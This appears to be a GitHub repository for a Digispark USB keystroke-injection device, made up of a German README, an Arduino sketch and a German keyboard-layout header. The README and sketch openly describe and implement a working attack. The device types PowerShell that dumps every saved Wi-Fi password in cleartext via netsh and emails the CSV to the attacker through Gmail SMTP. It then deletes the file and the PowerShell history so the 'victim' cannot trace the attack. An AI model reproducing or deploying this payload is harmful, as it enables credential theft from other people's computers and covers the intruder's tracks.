├── README.md ├── WifiPasswortMailer.ino └── DigiKeyboardDe.h /README.md: -------------------------------------------------------------------------------- 1 | # Digispark Wifi Mailer 2 | Dieses Skript liest alle Wlan-Namen inklusive Passwörter aus Windows 10 mit deutschen Spracheinstellungen aus und speichert sie in einer CSV Datei. 3 | 4 | Im nächsten Schritt wird diese Datei per Mail an eine E-Mail Adresse geschickt. Dafür ist ein E-Mail Konto bzw. SMTP Server nötig. Das Skript muss dahingehend vom Benutzer angepasst werden. 5 | 6 | Abschließend wird die CSV Datei und die Powershell Historie gelöscht, damit das Opfer den Angriff nicht nachvollziehen kann. 7 | 8 | Der Code basiert auf dem WiFi_Profile_Mailer_New von CedArctic. https://github.com/CedArctic/DigiSpark-Scripts/blob/master/WiFi_Profile_Mailer/WiFi_Profile_Mailer_New.ino 9 | 10 | -------------------------------------------------------------------------------- /WifiPasswortMailer.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include "DigiKeyboardDe.h" 3 | 4 | 5 | void setup() { 6 | } 7 | 8 | void loop() { 9 | DigiKeyboardDe.sendKeyStroke(0); 10 | DigiKeyboardDe.delay(1000); 11 | DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 12 | DigiKeyboardDe.delay(1000); 13 | DigiKeyboardDe.sendKeyStroke(KEY_A); 14 | DigiKeyboardDe.delay(1000); 15 | DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT); 16 | DigiKeyboardDe.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboardDe.delay(1000); 18 | DigiKeyboardDe.print(F("netsh wlan show profiles | Select-String ':(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Schl")); 19 | DigiKeyboard.sendKeyStroke(47); 20 | DigiKeyboardDe.print(F("sselinhalt.*:(.+)$'| %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv;exit")); 21 | DigiKeyboardDe.sendKeyStroke(KEY_ENTER); 22 | DigiKeyboardDe.delay(3000); 23 | DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 24 | DigiKeyboardDe.delay(1000); 25 | DigiKeyboardDe.sendKeyStroke(KEY_A); 26 | DigiKeyboardDe.delay(1000); 27 | DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT); 28 | DigiKeyboardDe.sendKeyStroke(KEY_ENTER); 29 | DigiKeyboardDe.delay(1000); 30 | DigiKeyboardDe.print(F("$Username = '';$Password = '';$pass = ConvertTo-SecureString -AsPlainText $Password -Force;$SecureString = $pass;$MySecureCreds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username,$SecureString; $From = '';$To = '';$Attachment = 'temp.csv';$Subject = 'Digispark Wlan';$Body = 'Wifi Passwörter im Anhang';$SMTPServer = 'smtp.gmail.com';$SMTPPort = '587';Send-MailMessage -From $From -to $To -Subject $Subject -Body $Body -SmtpServer $SMTPServer -port $SMTPPort -UseSsl -Credential $MySecureCreds -Attachments $Attachment;exit")); 31 | DigiKeyboardDe.sendKeyStroke(KEY_ENTER); 32 | DigiKeyboardDe.delay(1000); 33 | DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT); 34 | DigiKeyboardDe.delay(1000); 35 | DigiKeyboardDe.sendKeyStroke(KEY_A); 36 | DigiKeyboardDe.delay(1000); 37 | DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT); 38 | DigiKeyboardDe.sendKeyStroke(KEY_ENTER); 39 | DigiKeyboardDe.delay(1000); 40 | DigiKeyboardDe.print(F("del (Get-PSReadlineOption).HistorySavePath;exit")); 41 | DigiKeyboardDe.sendKeyStroke(KEY_ENTER); 42 | DigiKeyboardDe.delay(1000); 43 | DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 44 | DigiKeyboardDe.delay(1000); 45 | DigiKeyboardDe.print("cmd"); 46 | DigiKeyboardDe.sendKeyStroke(KEY_ENTER); 47 | DigiKeyboardDe.delay(500); 48 | DigiKeyboardDe.print(F("del temp.csv")); 49 | DigiKeyboardDe.sendKeyStroke(KEY_ENTER); 50 | DigiKeyboardDe.delay(100); 51 | DigiKeyboardDe.print(F("exit")); 52 | DigiKeyboardDe.sendKeyStroke(KEY_ENTER); 53 | for (;;) { 54 | /*empty*/ 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /DigiKeyboardDe.h: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | #ifndef DIGIKEYBOARDDE_H 3 | #define DIGIKEYBOARDDE_H 4 | 5 | 6 | #define DE_MOD_CONTROL_LEFT (1<<8) 7 | #define DE_MOD_SHIFT_LEFT (1<<9) 8 | #define DE_MOD_ALT_LEFT (1<<10) 9 | #define DE_MOD_GUI_LEFT (1<<11) 10 | #define DE_MOD_CONTROL_RIGHT (1<<12) 11 | #define DE_MOD_SHIFT_RIGHT (1<<13) 12 | #define DE_MOD_ALT_RIGHT (1<<14) 13 | #define DE_MOD_GUI_RIGHT (1<<15) 14 | const uint16_t _ascii_de_map[128] PROGMEM = 15 | { 16 | 0x00, // NUL 17 | 0x00, // SOH 18 | 0x00, // STX 19 | 0x00, // ETX 20 | 0x00, // EOT 21 | 0x00, // ENQ 22 | 0x00, // ACK 23 | 0x00, // BEL 24 | 0x2a, // BS Backspace 25 | 0x2b, // TAB Tab 26 | 0x28, // LF Enter 27 | 0x00, // VT 28 | 0x00, // FF 29 | 0x00, // CR 30 | 0x00, // SO 31 | 0x00, // SI 32 | 0x00, // DEL 33 | 0x00, // DC1 34 | 0x00, // DC2 35 | 0x00, // DC3 36 | 0x00, // DC4 37 | 0x00, // NAK 38 | 0x00, // SYN 39 | 0x00, // ETB 40 | 0x00, // CAN 41 | 0x00, // EM 42 | 0x00, // SUB 43 | 0x00, // ESC 44 | 0x00, // FS 45 | 0x00, // GS 46 | 0x00, // RS 47 | 0x00, // US 48 | 49 | 0x2c, // ' ' 50 | 0x1e|DE_MOD_SHIFT_LEFT, // ! 51 | 0x1F|DE_MOD_SHIFT_LEFT, // " 52 | 0x38, // # 53 | 0x21|DE_MOD_SHIFT_LEFT, // $ 54 | 0x22|DE_MOD_SHIFT_LEFT, // % 55 | 0x23|DE_MOD_SHIFT_LEFT, // & 56 | 0x32|DE_MOD_SHIFT_LEFT, // ' 57 | 0x25|DE_MOD_SHIFT_LEFT, // ( 58 | 0x26|DE_MOD_SHIFT_LEFT, // ) 59 | 0x30|DE_MOD_SHIFT_LEFT, // * 60 | 0x30, // + 61 | 0x36, // , 62 | 0x38, // - 63 | 0x37, // . 64 | 0x24|DE_MOD_SHIFT_LEFT, // / 65 | 0x27, // 0 66 | 0x1e, // 1 67 | 0x1f, // 2 68 | 0x20, // 3 69 | 0x21, // 4 70 | 0x22, // 5 71 | 0x23, // 6 72 | 0x24, // 7 73 | 0x25, // 8 74 | 0x26, // 9 75 | 0x37|DE_MOD_SHIFT_LEFT, // : 76 | 0x36|DE_MOD_SHIFT_LEFT, // ; 77 | 0x64, // < 78 | 0x27|DE_MOD_SHIFT_LEFT, // = 79 | 0x64|DE_MOD_SHIFT_LEFT, // > 80 | 0x2D|DE_MOD_SHIFT_LEFT, // ? 81 | 0x14|DE_MOD_ALT_RIGHT, // @ 0x40 0x14 82 | 0x04|DE_MOD_SHIFT_LEFT, // A 83 | 0x05|DE_MOD_SHIFT_LEFT, // B 84 | 0x06|DE_MOD_SHIFT_LEFT, // C 85 | 0x07|DE_MOD_SHIFT_LEFT, // D 86 | 0x08|DE_MOD_SHIFT_LEFT, // E 87 | 0x09|DE_MOD_SHIFT_LEFT, // F 88 | 0x0a|DE_MOD_SHIFT_LEFT, // G 89 | 0x0b|DE_MOD_SHIFT_LEFT, // H 90 | 0x0c|DE_MOD_SHIFT_LEFT, // I 91 | 0x0d|DE_MOD_SHIFT_LEFT, // J 92 | 0x0e|DE_MOD_SHIFT_LEFT, // K 93 | 0x0f|DE_MOD_SHIFT_LEFT, // L 94 | 0x10|DE_MOD_SHIFT_LEFT, // M 95 | 0x11|DE_MOD_SHIFT_LEFT, // N 96 | 0x12|DE_MOD_SHIFT_LEFT, // O 97 | 0x13|DE_MOD_SHIFT_LEFT, // P 98 | 0x14|DE_MOD_SHIFT_LEFT, // Q 99 | 0x15|DE_MOD_SHIFT_LEFT, // R 100 | 0x16|DE_MOD_SHIFT_LEFT, // S 101 | 0x17|DE_MOD_SHIFT_LEFT, // T 102 | 0x18|DE_MOD_SHIFT_LEFT, // U 103 | 0x19|DE_MOD_SHIFT_LEFT, // V 104 | 0x1a|DE_MOD_SHIFT_LEFT, // W 105 | 0x1b|DE_MOD_SHIFT_LEFT, // X 106 | 0x1d|DE_MOD_SHIFT_LEFT, // Y 107 | 0x1c|DE_MOD_SHIFT_LEFT, // Z 108 | 0x25|DE_MOD_ALT_RIGHT, // [ 109 | 0x2d|DE_MOD_ALT_RIGHT, // bslash 110 | 0x26|DE_MOD_ALT_RIGHT, // ] 111 | 0x35, // ^ 112 | 0x38|DE_MOD_SHIFT_LEFT, // _ 113 | 0x2E|DE_MOD_SHIFT_LEFT, // ` 114 | 0x04, // a 115 | 0x05, // b 116 | 0x06, // c 117 | 0x07, // d 118 | 0x08, // e 119 | 0x09, // f 120 | 0x0a, // g 121 | 0x0b, // h 122 | 0x0c, // i 123 | 0x0d, // j 124 | 0x0e, // k 125 | 0x0f, // l 126 | 0x10, // m 127 | 0x11, // n 128 | 0x12, // o 129 | 0x13, // p 130 | 0x14, // q 131 | 0x15, // r 132 | 0x16, // s 133 | 0x17, // t 134 | 0x18, // u 135 | 0x19, // v 136 | 0x1a, // w 137 | 0x1b, // x 138 | 0x1d, // y 139 | 0x1c, // z 140 | 0x24|DE_MOD_ALT_RIGHT, // { 141 | 0x64|DE_MOD_ALT_RIGHT, // | 142 | 0x27|DE_MOD_ALT_RIGHT, // } 143 | 0x30|DE_MOD_ALT_RIGHT, // ~ 144 | 0 // DEL 145 | }; 146 | 147 | class DigiKeyboardDeviceDe : public DigiKeyboardDevice{ 148 | public: 149 | size_t write(uint8_t chr) { 150 | unsigned int temp = pgm_read_word_near(_ascii_de_map + chr); 151 | unsigned char low = temp & 0xFF; 152 | unsigned char high = (temp >> 8) & 0xFF; 153 | sendKeyStroke(low,high); 154 | return 1; 155 | } 156 | void sendKeyReport(uchar *array,const unsigned int size){ 157 | while (!usbInterruptIsReady()) { 158 | // Note: We wait until we can send keyPress 159 | // so we know the previous keyPress was 160 | // sent. 161 | usbPoll(); 162 | _delay_ms(5); 163 | } 164 | 165 | usbSetInterrupt(array, size); 166 | } 167 | }; 168 | DigiKeyboardDeviceDe DigiKeyboardDe = DigiKeyboardDeviceDe(); 169 | #endif //DIGIKEYBOARDDE_H 170 | --------------------------------------------------------------------------------